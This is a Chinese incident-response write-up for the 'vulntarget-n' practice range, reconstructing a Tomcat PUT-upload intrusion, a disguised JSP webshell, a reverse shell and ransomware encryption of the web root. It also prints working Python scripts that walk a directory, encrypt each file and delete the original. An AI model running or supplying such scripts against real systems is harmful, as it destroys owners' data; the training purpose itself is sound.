应急响应靶场之vulntarget-n

news/2025/3/10 23:32:23/文章来源:https://www.cnblogs.com/maxwellf/p/18763996

vulntarget-n

用户名密码:root/Vulntarget@123

一.分析history命令

1.先将历史命令导出

history > 1.txt

2.分析history

1)篡改网页

image-20250310215606305

2)将木马文件进行伪装

image-20250310215658519

3)创建公钥私钥,加密方式为rsa

image-20250310223026736

4)拷贝公钥到指定目录,将该目录下文件进行勒索加密

image-20250310220008645

二.找到加密私钥进行解密

find . -name *key*.pem     #在根目录下全局搜索公钥

image-20250310153539272

将公钥私钥以及加密文件内容放到rsa解密

image-20250310154250076

注,将404.jsp文件进行解密后发现文件为jsp马。

三.检查日志

1.tomcat日志文件路径存放于 /opt/tomcat/logs

image-20250310221357084

由于攻击行为可能存在上传木马行为,重点查看post、put请求下,状态码为200的请求内容。tail -n 5000 localhost_access_log.2024-06-04.txt | grep "2*" | grep "PUT"

image-20250310220400488

上传jsp马后,执行了whoami

image-20250310230853414

4.漏洞复现

复习一下tomcat文件上传漏洞

put请求下上传一个jsp小马,使用蚁剑连接。

5.攻击过程

1.利用tomcat历史漏洞(文件上传漏洞)上传vulntarget.jsp马。

2.反弹shell拿到root权限。

3.将jsp马伪装成404.jsp文件。

4.创建勒索文件,使用rsa加密,生成公钥私钥。

5.使用python,对ROOT路径下的文件进行rsa加密。

6.删除加密脚本,做痕迹清除。

其他

1.了解重要配置文件

/opt/tomcat/conf/server.xml #该文件为tomcat配置文件,可以实现更改端口,设置虚拟主机,配置SSL等

2.勒索文件制作

1.制作公钥私钥

mkdir keys #创建一个文件夹,用于存放公钥私钥。

vim get_pem.py #编写公钥私钥生成脚本

python3 get_pem.py #运行脚本,生成公私钥

常见生成公私钥脚本如下:

import rsa
import os# 确保 keys 文件夹存在
os.makedirs("./keys", exist_ok=True)# 生成 RSA 密钥对
pub, priv = rsa.newkeys(2048)  # 建议使用 2048 位密钥# 保存公钥
try:pub = pub.save_pkcs1()with open("./keys/pubkey.pem", mode="wb") as file:file.write(pub)print("公钥保存成功:./keys/pubkey.pem")
except Exception as e:print(f"保存公钥时出错:{e}")# 保存私钥
try:priv = priv.save_pkcs1()with open("./keys/privkey.pem", mode="wb") as file:file.write(priv)print("私钥保存成功:./keys/privkey.pem")
except Exception as e:print(f"保存私钥时出错:{e}")

2.准备加密工作

cp keys/pubkey.pem /opt/tomcat/webapps/ROOT #将公钥放到网页webapps目录下

vim flag.jsp #创建flag.jsp文件

vim encrypt_vulntarget.py #创建加密脚本,对当前目录下的jsp文件都进行加密

常见加密脚本如下:

##获取文件路径
def list(src):res = []for root, dirs, files in os.walk(src): #获取父目录,子目录,文件for file in files:# 获取文件所属目录# print(root)# 获取文件路径res.append(os.path.join(root, file)) #把父目录和文件合成一个路径return res## 加密
def ran_encode(res):for r in res:# print(re)with open(r, 'rb') as fp:src = fp.read()bs = base64.b64encode(src).decode()   #读取并用base64加密se = ''for b in bs:new = chr(ord(b) + 5)   #转换成acsii码进行位移se += new# print(type(re))os.remove(r)name = '123'with open(r+name, 'wb') as fp:   #覆写fp.write(se.encode())## 解密
def ran_decode(res):for r in res:with open(r, 'r') as fp:src = fp.read()se = ''for b in src:new = chr(ord(b) - 5)se += newresp = base64.b64decode(se)s=r[0:-3]os.remove(r)with open(s,'wb') as fp:fp.write(resp)
path=r"需要勒索的目录,绝对路径"
def intes():res=list(path)ran_encode(res)
def outs():src1 = list(path)ran_decode(src1)

加解密常见脚本

##加密
def encrypt_file(file_path, public_key_path):# 加载公钥with open(public_key_path, "rb") as f:public_key = rsa.PublicKey.load_pkcs1(f.read())# 读取文件内容with open(file_path, "rb") as f:file_content = f.read()# 加密文件内容encrypted_content = rsa.encrypt(file_content, public_key)# 保存加密后的文件encrypted_file_path = file_path + ".enc"with open(encrypted_file_path, "wb") as f:f.write(encrypted_content)print(f"文件已加密并保存到 {encrypted_file_path}")return encrypted_file_path# 示例:加密文件
encrypt_file("example.txt", "public_key.pem")##解密
def decrypt_file(encrypted_file_path, private_key_path):# 加载私钥with open(private_key_path, "rb") as f:private_key = rsa.PrivateKey.load_pkcs1(f.read())# 读取加密后的文件内容with open(encrypted_file_path, "rb") as f:encrypted_content = f.read()# 解密文件内容decrypted_content = rsa.decrypt(encrypted_content, private_key)# 保存解密后的文件decrypted_file_path = encrypted_file_path.replace(".enc", "_decrypted")with open(decrypted_file_path, "wb") as f:f.write(decrypted_content)print(f"文件已解密并保存到 {decrypted_file_path}")# 示例:解密文件
decrypt_file("example.txt.enc", "private_key.pem")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/897038.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【PHP反序列号漏洞】样本解析

来源 第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup分析: __toString() 在PHP中,Exception::__toString是一个魔术方法(Magic Method),用于定义当尝试将对象作为字符串输出时的行为。具体来说,当一个异常对象(通常是Exception类或其子类的实例…

依赖注入 DI综合案例

依赖注入 DI综合案例 需求说明先建一个ConsoleMailSend总项目,然后建一个类库项目声明一个接口:using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace LogServices {public interface IlogProvid…

《深入理解计算机网络》 | PDF免费下载 | free download

《深入理解计算机网络》是计算机网络领域的扛鼎之作,由有20余年从业经验的优秀网络技术工程师兼全国网管技能水平开始认证专家王达老师撰写,51CTO技术社区鼎力推荐,权威性毋庸置疑。内容方面,本书结合最新计算机网络技术,全面、系统、深入地阐述了计算机网络的体系结构、工…

《深入理解LINUX内核(第三版)》 | PDF免费下载 | epub free download

《深入理解Linux内核》第3版 将使你了解Linux的所有内部工作,它不仅仅是一个理论上的练习。你将学习到哪些情况下Linux性能最佳,并且你将看到,在大量的不同环境里进行进程调度、文件存取和内存管理时它如何满足提供良好的系统响应的需要。这本书将帮助你充分利用Linux系统。…

Android Studio的配置学习以及整日的总结

所花时间:5h 代码量(行):130 博客量:6 了解的知识点: 首先,今天对于Android Studio的整体配置有了一个新的认识,原因是AS的SDK和虚拟机AVD的默认安装位置在C盘 还有环境变量gradle的下载配置,这些都要了解明白是干什么的,下面我具体的说一下:安装好AS,下载好gradle…

额外添加 _网卡的配置,网络的基础的概念

配置好网卡,上网用 修改网络模式,修改静态ip,动态ip获取方式 system control 系统控制,systemctl 查看当前的上网信息 1.确保你的机器,是连接的网络的,是插上了网线的。(模拟了物理服务器的软件是什么?看你的虚拟的机器(vmware))3.编辑网卡的配置文件 编辑网卡配置文…

用集合说明可以用与或非来表示异或

用集合说明可以用与或非来表示异或 异或(XOR,记作 A⊕BA⊕B)可以通过与(AND,记作 ∧∧)、或(OR,记作 ∨∨)、非(NOT,记作 )的组合来表示。以下是两种常见的表达式形式: 1. 直接组合形式 异或的逻辑可以描述为:当且仅当 A 和 B不同时为真时输出真。 即:A B A⊕B0…

2025.3.10

1,访问PHP文件路径不能出现中文,会显示0行错误 2,<br>换行,<hr>分割线 3,“ ”解析并输出,‘ ’直接输出 4,字符串拼接用. 5,输出 echo "" print_r() 专门输出数组的格式 varr_dump() 数据类型和值6,二维数组

4.9.1 分布偏移的类型

下面介绍一下坐标系中协变量偏移的情况如上图,绿色的曲线是正确的曲线。我们训练的数据是左图,测试的数据是右图。按照左图的数据学习是学不出来绿色曲线的,就会导致右图的数据的准确率很低,这就是协变量偏移

贴现率8%和12%分别计算每个项目的净现值

使用贴现率8%和12%分别计算每个项目的净现值(NPV) JAVA实现 净现值求解实现代码(JAVA):package com.zuoye.Three;import java.math.BigDecimal;public class TieXianLu { public static void main(String[] args) throws Exception { //数据集合 int[] ma…

Netty基础—1.网络编程基础一

大纲 1.什么是OSI开放系统互连 2.OSI七层模型各层的作用 3.TCP/IP协议的简介 4.TCP和UDP的简介 5.TCP连接的三次握手 6.TCP连接的四次挥手 7.TCP/IP中的数据包 8.TCP通过确认应答与序列号提高可靠性 9.HTTP请求的传输过程 10.HTTP协议报文结构 11.Socket、短连接、长连接、网络…